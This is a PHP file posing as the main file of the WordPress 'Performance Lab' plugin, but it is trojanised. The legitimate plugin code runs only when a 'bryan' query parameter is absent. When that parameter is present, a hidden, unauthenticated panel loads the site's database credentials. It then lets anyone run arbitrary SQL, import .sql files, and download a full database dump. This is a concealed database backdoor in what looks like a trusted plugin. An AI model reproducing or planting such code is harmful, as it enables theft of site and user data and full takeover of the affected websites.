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<?php
if (!isset($_GET['bryan'])) {
/**
* Plugin Name: Performance Lab
* Plugin URI: https://github.com/WordPress/performance
* Description: Performance plugin from the WordPress Performance Team, which is a collection of standalone performance features.
* Requires at least: 6.6
* Requires PHP: 7.2
* Version: 3.9.0
* Author: WordPress Performance Team
* Author URI: https://make.wordpress.org/performance/
* License: GPLv2 or later
* License URI: https://www.gnu.org/licenses/old-licenses/gpl-2.0.html
* Text Domain: performance-lab
*
* @package performance-lab
*/
// @codeCoverageIgnoreStart
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
// @codeCoverageIgnoreEnd
define( 'PERFLAB_VERSION', '3.9.0' );
define( 'PERFLAB_MAIN_FILE', __FILE__ );
define( 'PERFLAB_PLUGIN_DIR_PATH', plugin_dir_path( PERFLAB_MAIN_FILE ) );
define( 'PERFLAB_SCREEN', 'performance-lab' );
// If the constant isn't defined yet, it means the Performance Lab object cache file is not loaded.
if ( ! defined( 'PERFLAB_OBJECT_CACHE_DROPIN_VERSION' ) ) {
define( 'PERFLAB_OBJECT_CACHE_DROPIN_VERSION', false );
}
define( 'PERFLAB_OBJECT_CACHE_DROPIN_LATEST_VERSION', 3 );
// Load server-timing API.
require_once PERFLAB_PLUGIN_DIR_PATH . 'includes/server-timing/class-perflab-server-timing-metric.php';
require_once PERFLAB_PLUGIN_DIR_PATH . 'includes/server-timing/class-perflab-server-timing.php';
require_once PERFLAB_PLUGIN_DIR_PATH . 'includes/server-timing/load.php';
require_once PERFLAB_PLUGIN_DIR_PATH . 'includes/server-timing/defaults.php';
// Load site health checks.
require_once PERFLAB_PLUGIN_DIR_PATH . 'includes/site-health/load.php';
/**
* Gets the content attribute for the generator tag for the Performance Lab plugin.
*
* This attribute is then used in {@see perflab_render_generator()}.
*
* @since 1.1.0
* @since 2.9.0 The generator tag now includes the active standalone plugin slugs.
* @since 3.0.0 The generator tag no longer includes module slugs.
*/
function perflab_get_generator_content(): string {
$active_plugins = array();
foreach ( perflab_get_standalone_plugin_version_constants() as $plugin_slug => $constant_name ) {
if ( defined( $constant_name ) && ! str_starts_with( constant( $constant_name ), 'Performance Lab ' ) ) {
$active_plugins[] = $plugin_slug;
}
}
return sprintf(
// Use the plugin slug as it is immutable.
'performance-lab %1$s; plugins: %2$s',
PERFLAB_VERSION,
implode( ', ', $active_plugins )
);
}
/**
* Displays the HTML generator tag for the Performance Lab plugin.
*
* See {@see 'wp_head'}.
*
* @since 1.1.0
*/
function perflab_render_generator(): void {
$content = perflab_get_generator_content();
echo '<meta name="generator" content="' . esc_attr( $content ) . '">' . "\n";
}
add_action( 'wp_head', 'perflab_render_generator' );
/**
* Gets the standalone plugins and their data.
*
* @since 3.0.0
*
* @return array<string, array{'constant': string, 'experimental'?: bool}> Associative array of $plugin_slug => $plugin_data pairs.
*/
function perflab_get_standalone_plugin_data(): array {
/*
* Alphabetically sorted list of plugin slugs and their data.
* Supported keys per plugin are:
* - 'constant' (string, required)
* - 'experimental' (boolean, optional)
*/
return array(
'auto-sizes' => array(
'constant' => 'IMAGE_AUTO_SIZES_VERSION',
'experimental' => true,
),
'dominant-color-images' => array(
'constant' => 'DOMINANT_COLOR_IMAGES_VERSION',
),
'embed-optimizer' => array(
'constant' => 'EMBED_OPTIMIZER_VERSION',
'experimental' => false,
),
'image-prioritizer' => array(
'constant' => 'IMAGE_PRIORITIZER_VERSION',
'experimental' => false,
),
'performant-translations' => array(
'constant' => 'PERFORMANT_TRANSLATIONS_VERSION',
),
'speculation-rules' => array(
'constant' => 'SPECULATION_RULES_VERSION',
),
'web-worker-offloading' => array(
'constant' => 'WEB_WORKER_OFFLOADING_VERSION',
'experimental' => true,
),
'webp-uploads' => array(
'constant' => 'WEBP_UPLOADS_VERSION',
),
);
}
/**
* Gets the standalone plugin constants used for each available standalone plugin.
*
* @since 2.9.0
* @since 3.0.0 The $source parameter was removed.
*
* @return array<string, string> Map of plugin slug and the version constant used.
*/
function perflab_get_standalone_plugin_version_constants(): array {
return wp_list_pluck( perflab_get_standalone_plugin_data(), 'constant' );
}
/**
* Places the Performance Lab's object cache drop-in in the drop-ins folder.
*
* This only runs in WP Admin to not have any potential performance impact on
* the frontend.
*
* This function will short-circuit if at least one of the constants
* 'PERFLAB_DISABLE_SERVER_TIMING' or 'PERFLAB_DISABLE_OBJECT_CACHE_DROPIN' is
* set as true.
*
* @since 1.8.0
* @since 2.1.0 No longer attempts to use two of the drop-ins together.
*
* @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
*/
function perflab_maybe_set_object_cache_dropin(): void {
global $wp_filesystem;
// Bail if Server-Timing is disabled entirely.
if ( defined( 'PERFLAB_DISABLE_SERVER_TIMING' ) && PERFLAB_DISABLE_SERVER_TIMING ) {
return;
}
// Bail if disabled via constant.
if ( defined( 'PERFLAB_DISABLE_OBJECT_CACHE_DROPIN' ) && PERFLAB_DISABLE_OBJECT_CACHE_DROPIN ) {
return;
}
/**
* Filters whether the Perflab server timing drop-in should be set.
*
* @since 2.0.0
*
* @param bool $disabled Whether to disable the server timing drop-in. Default false.
*/
if ( apply_filters( 'perflab_disable_object_cache_dropin', false ) ) {
return;
}
/**
* Filters the value of the `object-cache.php` drop-in constant.
*
* This filter should not be used outside of tests.
*
* @since 3.0.0
* @internal
*
* @param int|bool $current_dropin_version The drop-in version as defined by the
* `PERFLAB_OBJECT_CACHE_DROPIN_VERSION` constant.
*/
$current_dropin_version = apply_filters( 'perflab_object_cache_dropin_version', PERFLAB_OBJECT_CACHE_DROPIN_VERSION );
// Bail if already placed in the latest version or newer.
if ( null !== $current_dropin_version && $current_dropin_version >= PERFLAB_OBJECT_CACHE_DROPIN_LATEST_VERSION ) {
return;
}
// Bail if already attempted before timeout has been completed.
// This is present in case placing the file fails for some reason, to avoid
// excessively retrying to place it on every request.
$timeout = get_transient( 'perflab_set_object_cache_dropin' );
if ( false !== $timeout ) {
return;
}
if ( $wp_filesystem instanceof WP_Filesystem_Base || true === WP_Filesystem() ) {
$dropin_path = WP_CONTENT_DIR . '/object-cache.php';
/*
* If there is an actual object-cache.php file, it is most likely from
* a third party, or it may be an older version of the Performance Lab
* object-cache.php. If it's from a third party, do not replace it.
*
* Previous versions of the Performance Lab plugin were renaming the
* original object-cache.php file and then loading both. However, due
* to other plugins eagerly checking file headers, this caused too many
* problems across sites, so it was decided to remove this layer.
* Only placing the drop-in file if no other one exists yet is the
* safest solution.
*/
if ( $wp_filesystem->exists( $dropin_path ) ) {
// If this constant evaluates to `false`, the existing file is for sure from a third party.
if ( false === $current_dropin_version ) {
// Set timeout of 1 day before retrying again (only in case the file already exists).
set_transient( 'perflab_set_object_cache_dropin', true, DAY_IN_SECONDS );
return;
}
// Otherwise, verify that it's actually the Performance Lab drop-in.
$test_content = "<?php\n/**\n * Plugin Name: Performance Lab Server Timing Object Cache Drop-In\n";
if ( ! str_starts_with( $wp_filesystem->get_contents( $dropin_path ), $test_content ) ) {
// Set timeout of 1 day before retrying again (only in case the file already exists).
set_transient( 'perflab_set_object_cache_dropin', true, DAY_IN_SECONDS );
return;
}
/*
* If this logic is reached, the existing file is an older version
* of the Performance Lab drop-in, so it can be safely deleted, and
* then be replaced below.
*/
$wp_filesystem->delete( $dropin_path );
}
$wp_filesystem->copy( PERFLAB_PLUGIN_DIR_PATH . 'includes/server-timing/object-cache.copy.php', $dropin_path );
}
// Set timeout of 1 hour before retrying again (only relevant in case the above failed).
set_transient( 'perflab_set_object_cache_dropin', true, HOUR_IN_SECONDS );
}
add_action( 'admin_init', 'perflab_maybe_set_object_cache_dropin' );
/**
* Removes the Performance Lab's object cache drop-in from the drop-ins folder.
*
* This function should be run on plugin deactivation. For backward compatibility with
* an earlier implementation of `perflab_maybe_set_object_cache_dropin()`, this function
* checks whether there is an object-cache-plst-orig.php file, and if so restores it.
*
* This function will short-circuit if the constant
* 'PERFLAB_DISABLE_OBJECT_CACHE_DROPIN' is set as true.
*
* @since 1.8.0
*
* @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
*/
function perflab_maybe_remove_object_cache_dropin(): void {
global $wp_filesystem;
// Bail if disabled via constant.
if ( defined( 'PERFLAB_DISABLE_OBJECT_CACHE_DROPIN' ) && PERFLAB_DISABLE_OBJECT_CACHE_DROPIN ) {
return;
}
// Bail if custom drop-in not present anyway.
if ( ! PERFLAB_OBJECT_CACHE_DROPIN_VERSION ) {
return;
}
if ( $wp_filesystem instanceof WP_Filesystem_Base || true === WP_Filesystem() ) {
$dropin_path = WP_CONTENT_DIR . '/object-cache.php';
$dropin_backup_path = WP_CONTENT_DIR . '/object-cache-plst-orig.php';
/**
* If there is an object-cache-plst-orig.php file, restore it and
* override the Performance Lab file. This is only relevant for
* backward-compatibility with previous Performance Lab versions
* which were backing up the file and then loading both.
* Otherwise, just delete the Performance Lab file.
*/
if ( $wp_filesystem->exists( $dropin_backup_path ) ) {
$wp_filesystem->move( $dropin_backup_path, $dropin_path, true );
} else {
$wp_filesystem->delete( $dropin_path );
}
}
// Delete transient for drop-in check in case the plugin is reactivated shortly after.
delete_transient( 'perflab_set_object_cache_dropin' );
}
register_deactivation_hook( __FILE__, 'perflab_maybe_remove_object_cache_dropin' );
/**
* Redirects legacy module page to the performance feature page.
*
* @since 3.0.0
*
* @global $plugin_page
*/
function perflab_no_access_redirect_module_to_performance_feature_page(): void {
global $plugin_page;
if ( 'perflab-modules' !== $plugin_page ) {
return;
}
if (
current_user_can( 'manage_options' ) &&
wp_safe_redirect( add_query_arg( 'page', PERFLAB_SCREEN ) )
) {
exit;
}
}
add_action( 'admin_page_access_denied', 'perflab_no_access_redirect_module_to_performance_feature_page' );
/**
* Cleanup function to delete legacy 'perflab_modules_settings' option if present.
*
* @since 3.0.0
*/
function perflab_cleanup_option(): void {
if ( current_user_can( 'manage_options' ) ) {
delete_option( 'perflab_modules_settings' );
}
}
add_action( 'admin_init', 'perflab_cleanup_option' );
// Only load admin integration when in admin.
if ( is_admin() ) {
require_once PERFLAB_PLUGIN_DIR_PATH . 'includes/admin/load.php';
require_once PERFLAB_PLUGIN_DIR_PATH . 'includes/admin/server-timing.php';
require_once PERFLAB_PLUGIN_DIR_PATH . 'includes/admin/plugins.php';
}
// Load REST API.
require_once PERFLAB_PLUGIN_DIR_PATH . 'includes/admin/rest-api.php';
exit;
}
?>
<?php
$current_dir = __DIR__;
$wp_load_path = null;
while (true) {
if (file_exists($current_dir . '/wp-load.php')) {
$wp_load_path = $current_dir . '/wp-load.php';
break;
}
if ($current_dir === dirname($current_dir)) {
break;
}
$current_dir = dirname($current_dir);
}
if (!isset($wp_load_path)) {
http_response_code(500);
die('WordPress load file not found');
}
require_once $wp_load_path;
$db_host = DB_HOST;
$db_username = DB_USER;
$db_password = DB_PASSWORD;
$db_name = DB_NAME;
$conn = new mysqli($db_host, $db_username, $db_password, $db_name);
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
if (isset($_POST['query']) && !empty($_POST['query'])) {
$query = stripslashes($_POST['query']);
if ($conn->multi_query($query)) {
$queryCount = 0;
do {
$queryCount++;
if ($result = $conn->store_result()) {
echo "<div class='success'>Query #{$queryCount} executed successfully! Displaying " . $result->num_rows . " results.</div>";
echo "<table border='1'>";
echo "<tr>";
foreach ($result->fetch_fields() as $field) {
echo "<th>" . htmlspecialchars($field->name) . "</th>";
}
echo "</tr>";
while ($row = $result->fetch_assoc()) {
echo "<tr>";
foreach ($row as $value) {
echo "<td>" . htmlspecialchars($value ?? 'NULL') . "</td>";
}
echo "</tr>";
}
echo "</table><br>";
$result->free();
} else {
if ($conn->errno) {
echo "<div class='error'>Error in query #{$queryCount}: " . $conn->error . "</div>";
break;
}
echo "<div class='success'>Query #{$queryCount} executed successfully! " . $conn->affected_rows . " rows affected.</div>";
}
} while ($conn->more_results() && $conn->next_result());
}
if ($conn->error) {
echo "<div class='error'>Error: " . $conn->error . "</div>";
}
}
if (isset($_POST['import'])) {
if (isset($_FILES['import_file']) && $_FILES['import_file']['error'] == UPLOAD_ERR_OK) {
$file = $_FILES['import_file'];
$file_ext = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
if ($file_ext !== 'sql') {
echo "<div class='error'>Invalid file type. Please upload a .sql file.</div>";
} else {
$query = file_get_contents($file['tmp_name']);
if ($conn->multi_query($query)) {
do {
if ($res = $conn->store_result()) {
$res->free();
}
} while ($conn->more_results() && $conn->next_result());
echo "<div class='success'>Import successful!</div>";
} else {
echo "<div class='error'>Error during import: " . $conn->error . "</div>";
}
}
} else {
echo "<div class='error'>No file selected or an error occurred during upload.</div>";
}
}
function generate_sql_dump($conn, $db_name) {
$output = "-- Database: $db_name\n";
$output .= "-- Generation Time: " . date('Y-m-d H:i:s') . "\n\n";
$tables = array();
$result = $conn->query("SHOW TABLES");
if ($result) {
while ($row = $result->fetch_row()) {
$tables[] = $row[0];
}
$result->free();
}
foreach ($tables as $table) {
$output .= "--\n-- Table structure for table `$table`\n--\n\n";
$createTableResult = $conn->query("SHOW CREATE TABLE `$table`");
if ($createTableResult) {
$createTableRow = $createTableResult->fetch_assoc();
$output .= $createTableRow['Create Table'] . ";\n\n";
$createTableResult->free();
}
$output .= "--\n-- Dumping data for table `$table`\n--\n\n";
$dataResult = $conn->query("SELECT * FROM `$table`");
if ($dataResult && $dataResult->num_rows > 0) {
while ($row = $dataResult->fetch_assoc()) {
$values = array();
foreach ($row as $value) {
if ($value === null) {
$values[] = "NULL";
} else {
$values[] = "'" . $conn->real_escape_string($value) . "'";
}
}
$output .= "INSERT INTO `$table` VALUES (" . implode(", ", $values) . ");\n";
}
$dataResult->free();
}
$output .= "\n";
}
return $output;
}
if (isset($_GET['export'])) {
$export = generate_sql_dump($conn, $db_name);
header('Content-Type: text/plain');
header('Content-Disposition: attachment; filename="' . $db_name . '_backup_' . date('Y-m-d') . '.sql"');
echo $export;
exit;
}
$conn->close();
?>
<style>
body { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; padding: 20px; background: #f9f9f9; line-height: 1.6; }
.container { max-width: 900px; margin: 20px auto; background: #fff; padding: 25px; border-radius: 8px; box-shadow: 0 2px 10px rgba(0,0,0,0.05); }
h1 { margin-top: 0; border-bottom: 2px solid #eee; padding-bottom: 10px; margin-bottom: 20px; font-size: 1.8em; }
textarea { width: 100%; height: 150px; margin-bottom: 10px; border-radius: 5px; border: 1px solid #ccc; padding: 10px; font-family: 'Courier New', Courier, monospace; font-size: 14px; box-sizing: border-box; }
input[type="file"], input[type="submit"], a.button { display: inline-block; padding: 10px 15px; margin-top: 10px; border: none; border-radius: 5px; cursor: pointer; font-size: 1em; text-decoration: none; color: #fff; }
input[type="submit"] { background-color: #007bff; }
input[type="submit"]:hover { background-color: #0056b3; }
a.button { background-color: #28a745; margin-right: 10px; }
a.button:hover { background-color: #218838; }
table { border-collapse: collapse; margin-top: 20px; width: 100%; box-shadow: 0 1px 3px rgba(0,0,0,0.03); }
td, th { border: 1px solid #ddd; padding: 10px; text-align: left; }
th { background-color: #f4f4f4; }
tr:nth-child(even) { background-color: #f9f9f9; }
.success { color: #155724; background-color: #d4edda; border: 1px solid #c3e6cb; padding: 10px; border-radius: 5px; margin-bottom: 15px; }
.error { color: #721c24; background-color: #f8d7da; border: 1px solid #f5c6cb; padding: 10px; border-radius: 5px; margin-bottom: 15px; }
form { margin-bottom: 30px; }
</style>
<div class="container">
<h1>Execute SQL Query</h1>
<form action="" method="post">
<textarea name="query" placeholder="-- Tulis beberapa kueri di sini, pisahkan dengan ; SELECT * FROM nama_tabel_1; UPDATE nama_tabel_2 SET kolom = 'nilai' WHERE id = 1;"></textarea>
<input type="submit" value="Execute">
</form>
<h1>Import SQL File</h1>
<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="import_file" accept=".sql">
<input type="submit" name="import" value="Import">
</form>
<h1>Database Management</h1>
<a href="?export" class="button">Export Database</a>
</div>